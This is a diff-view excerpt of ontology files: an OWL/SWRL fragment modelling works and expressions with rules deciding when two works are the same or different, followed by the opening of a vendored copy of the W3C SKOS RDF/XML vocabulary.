owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:realization ;
|
||||
owl:someValuesFrom core:Expression ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Work ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Work ;
|
||||
owl:onProperty core:partOf ] ) ] .
|
||||
|
||||
core:realizationOf a owl:FunctionalProperty,
|
||||
owl:ObjectProperty ;
|
||||
rdfs:label "is realization of"@en ;
|
||||
rdfs:comment "An expression that realizes a work."@en ;
|
||||
rdfs:subPropertyOf core:relatedEndeavour .
|
||||
|
||||
core:Expression a owl:Class ;
|
||||
rdfs:label "expression"@en ;
|
||||
rdfs:comment """The intellectual or artistic realization of a work in the form of alpha-numeric, musical, or choreographic notation, sound, image, object, movement, etc., or any combination of such forms.
|
||||
|
||||
An expression is the specific intellectual or artistic form that a work takes each time it is "realized." Expression encompasses, for example, the specific words, sentences, paragraphs, etc. that result from the realization of a work in the form of a text, or the particular sounds, phrasing, etc. resulting from the realization of a musical work."""@en ;
|
||||
owl:disjointWith core:Item,
|
||||
core:Manifestation,
|
||||
core:Work ;
|
||||
owl:equivalentClass [ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Expression ;
|
||||
owl:onProperty core:part ] [ a owl:Restriction ;
|
||||
owl:allValuesFrom core:Expression ;
|
||||
owl:onProperty core:partOf ] ) ],
|
||||
[ a owl:Class ;
|
||||
owl:intersectionOf ( core:Endeavour [ a owl:Restriction ;
|
||||
owl:onProperty core:embodiment ;
|
||||
owl:someValuesFrom core:Manifestation ] [ a owl:Restriction ;
|
||||
owl:onProperty core:realizationOf ;
|
||||
owl:someValuesFrom core:Work ] ) ] .
|
||||
|
||||
core:relatedEndeavour a owl:ObjectProperty ;
|
||||
rdfs:label "has related endeavour"@en ;
|
||||
rdfs:domain core:Endeavour ;
|
||||
rdfs:range core:Endeavour .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:summarization ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:translation ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a owl:AllDisjointClasses ;
|
||||
owl:members ( core:Concept core:Event core:Object core:Place ) .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:complement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:adaption ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:supplement ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:transformation ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:arrangement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:imitation ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:successor ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:DifferentIndividualsAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:revision ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
[] a swrl:Imp ;
|
||||
swrl:body [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#e2> ;
|
||||
swrl:propertyPredicate core:abridgement ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e1> ;
|
||||
swrl:argument2 <urn:swrl#w1> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:IndividualPropertyAtom ;
|
||||
swrl:argument1 <urn:swrl#e2> ;
|
||||
swrl:argument2 <urn:swrl#w2> ;
|
||||
swrl:propertyPredicate core:realizationOf ] ;
|
||||
rdf:rest () ] ] ] ;
|
||||
swrl:head [ a swrl:AtomList ;
|
||||
rdf:first [ a swrl:SameIndividualAtom ;
|
||||
swrl:argument1 <urn:swrl#w1> ;
|
||||
swrl:argument2 <urn:swrl#w2> ] ;
|
||||
rdf:rest () ] .
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,473 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<!-- Vendored from https://www.w3.org/2009/08/skos-reference/skos.rdf
|
||||
Retrieved: 2026-08-04T17:52:29.732633+00:00
|
||||
Description: W3C SKOS: Simple Knowledge Organization System, Core Vocabulary (no Turtle serialization is served at a stable URL; this is the official RDF/XML file, which OntologyIngestor also supports)
|
||||
License: see the publishing organization's terms (W3C Document License) -->
|
||||
|
||||
<rdf:RDF xmlns:dct="http://purl.org/dc/terms/"
|
||||
xmlns:owl="http://www.w3.org/2002/07/owl#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#" xmlns:skos="http://www.w3.org/2004/02/skos/core#"
|
||||
xml:base="http://www.w3.org/2004/02/skos/core">
|
||||
<!-- This schema represents a formalisation of a subset of the semantic conditions
|
||||
described in the SKOS Reference document dated 18 August 2009, accessible
|
||||
at http://www.w3.org/TR/2009/REC-skos-reference-20090818/. XML comments of the form Sn are used to
|
||||
indicate the semantic conditions that are being expressed. Comments of the form
|
||||
[Sn] refer to assertions that are, strictly speaking, redundant as they follow
|
||||
from the RDF(S) or OWL semantics.
|
||||
|
||||
A number of semantic conditions are *not* expressed formally in this schema. These are:
|
||||
|
||||
S12
|
||||
S13
|
||||
S14
|
||||
S27
|
||||
S36
|
||||
S46
|
||||
|
||||
For the conditions listed above, rdfs:comments are used to indicate the conditions.
|
||||
|
||||
-->
|
||||
<owl:Ontology rdf:about="http://www.w3.org/2004/02/skos/core">
|
||||
<dct:title xml:lang="en">SKOS Vocabulary</dct:title>
|
||||
<dct:contributor>Dave Beckett</dct:contributor>
|
||||
<dct:contributor>Nikki Rogers</dct:contributor>
|
||||
<dct:contributor>Participants in W3C's Semantic Web Deployment Working Group.</dct:contributor>
|
||||
<dct:description xml:lang="en">An RDF vocabulary for describing the basic structure and content of concept schemes such as thesauri, classification schemes, subject heading lists, taxonomies, 'folksonomies', other types of controlled vocabulary, and also concept schemes embedded in glossaries and terminologies.</dct:description>
|
||||
<dct:creator>Alistair Miles</dct:creator>
|
||||
<dct:creator>Sean Bechhofer</dct:creator>
|
||||
<rdfs:seeAlso rdf:resource="http://www.w3.org/TR/skos-reference/"/>
|
||||
</owl:Ontology>
|
||||
<rdf:Description rdf:about="#Concept">
|
||||
<rdfs:label xml:lang="en">Concept</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An idea or notion; a unit of thought.</skos:definition>
|
||||
<!-- S1 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#ConceptScheme">
|
||||
<rdfs:label xml:lang="en">Concept Scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A set of concepts, optionally including statements about semantic relationships between those concepts.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">A concept scheme may be defined to include concepts from different sources.</skos:scopeNote>
|
||||
<skos:example xml:lang="en">Thesauri, classification schemes, subject heading lists, taxonomies, 'folksonomies', and other types of controlled vocabulary are all examples of concept schemes. Concept schemes are also embedded in glossaries and terminologies.</skos:example>
|
||||
<!-- S2 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S9 -->
|
||||
<owl:disjointWith rdf:resource="#Concept"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#Collection">
|
||||
<rdfs:label xml:lang="en">Collection</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A meaningful collection of concepts.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">Labelled collections can be used where you would like a set of concepts to be displayed under a 'node label' in the hierarchy.</skos:scopeNote>
|
||||
<!-- S28 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S37 -->
|
||||
<owl:disjointWith rdf:resource="#Concept"/>
|
||||
<!-- S37 -->
|
||||
<owl:disjointWith rdf:resource="#ConceptScheme"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#OrderedCollection">
|
||||
<rdfs:label xml:lang="en">Ordered Collection</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An ordered collection of concepts, where both the grouping and the ordering are meaningful.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">Ordered collections can be used where you would like a set of concepts to be displayed in a specific order, and optionally under a 'node label'.</skos:scopeNote>
|
||||
<!-- S28 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#Class"/>
|
||||
<!-- S29 -->
|
||||
<rdfs:subClassOf rdf:resource="#Collection"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#inScheme">
|
||||
<rdfs:label xml:lang="en">is in scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a resource (for example a concept) to a concept scheme in which it is included.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">A concept may be a member of more than one concept scheme.</skos:scopeNote>
|
||||
<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S4 -->
|
||||
<rdfs:range rdf:resource="#ConceptScheme"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#hasTopConcept">
|
||||
<rdfs:label xml:lang="en">has top concept</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates, by convention, a concept scheme to a concept which is topmost in the broader/narrower concept hierarchies for that scheme, providing an entry point to these hierarchies.</skos:definition>
|
||||
<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S5 -->
|
||||
<rdfs:domain rdf:resource="#ConceptScheme"/>
|
||||
<!-- S6 -->
|
||||
<rdfs:range rdf:resource="#Concept"/>
|
||||
<!-- S8 -->
|
||||
<owl:inverseOf rdf:resource="#topConceptOf"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#topConceptOf">
|
||||
<rdfs:label xml:lang="en">is top concept in scheme</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">Relates a concept to the concept scheme that it is a top level concept of.</skos:definition>
|
||||
<!-- S3 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#ObjectProperty"/>
|
||||
<!-- S7 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#inScheme"/>
|
||||
<!-- S8 -->
|
||||
<owl:inverseOf rdf:resource="#hasTopConcept"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
<rdfs:domain rdf:resource="#Concept"/>
|
||||
<rdfs:range rdf:resource="#ConceptScheme"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#prefLabel">
|
||||
<rdfs:label xml:lang="en">preferred label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">The preferred lexical label for a resource, in a given language.</skos:definition>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S14 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">A resource has no more than one value of skos:prefLabel per language tag, and no more than one value of skos:prefLabel without language tag.</rdfs:comment>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:prefLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise
|
||||
disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#altLabel">
|
||||
<rdfs:label xml:lang="en">alternative label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">An alternative lexical label for a resource.</skos:definition>
|
||||
<skos:example xml:lang="en">Acronyms, abbreviations, spelling variants, and irregular plural/singular forms may be included among the alternative labels for a concept. Mis-spelled terms are normally included as hidden labels (see skos:hiddenLabel).</skos:example>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:altLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#hiddenLabel">
|
||||
<rdfs:label xml:lang="en">hidden label</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A lexical label for a resource that should be hidden when generating visual displays of the resource, but should still be accessible to free text search operations.</skos:definition>
|
||||
<!-- S10 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S11 -->
|
||||
<rdfs:subPropertyOf rdf:resource="http://www.w3.org/2000/01/rdf-schema#label"/>
|
||||
<!-- S12 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">The range of skos:hiddenLabel is the class of RDF plain literals.</rdfs:comment>
|
||||
<!-- S13 (not formally stated) -->
|
||||
<rdfs:comment xml:lang="en">skos:prefLabel, skos:altLabel and skos:hiddenLabel are pairwise disjoint properties.</rdfs:comment>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#notation">
|
||||
<rdfs:label xml:lang="en">notation</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A notation, also known as classification code, is a string of characters such as "T58.5" or "303.4833" used to uniquely identify a concept within the scope of a given concept scheme.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">By convention, skos:notation is used with a typed literal in the object position of the triple.</skos:scopeNote>
|
||||
<!-- S15 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#DatatypeProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#note">
|
||||
<rdfs:label xml:lang="en">note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A general note, for any purpose.</skos:definition>
|
||||
<skos:scopeNote xml:lang="en">This property may be used directly, or as a super-property for more specific note types.</skos:scopeNote>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#changeNote">
|
||||
<rdfs:label xml:lang="en">change note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note about a modification to a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#definition">
|
||||
<rdfs:label xml:lang="en">definition</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A statement or formal explanation of the meaning of a concept.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
<!-- For non-OWL aware applications -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/1999/02/22-rdf-syntax-ns#Property"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="#editorialNote">
|
||||
<rdfs:label xml:lang="en">editorial note</rdfs:label>
|
||||
<rdfs:isDefinedBy rdf:resource="http://www.w3.org/2004/02/skos/core"/>
|
||||
<skos:definition xml:lang="en">A note for an editor, translator or maintainer of the vocabulary.</skos:definition>
|
||||
<!-- S16 -->
|
||||
<rdf:type rdf:resource="http://www.w3.org/2002/07/owl#AnnotationProperty"/>
|
||||
<!-- S17 -->
|
||||
<rdfs:subPropertyOf rdf:resource="#note"/>
|
||||
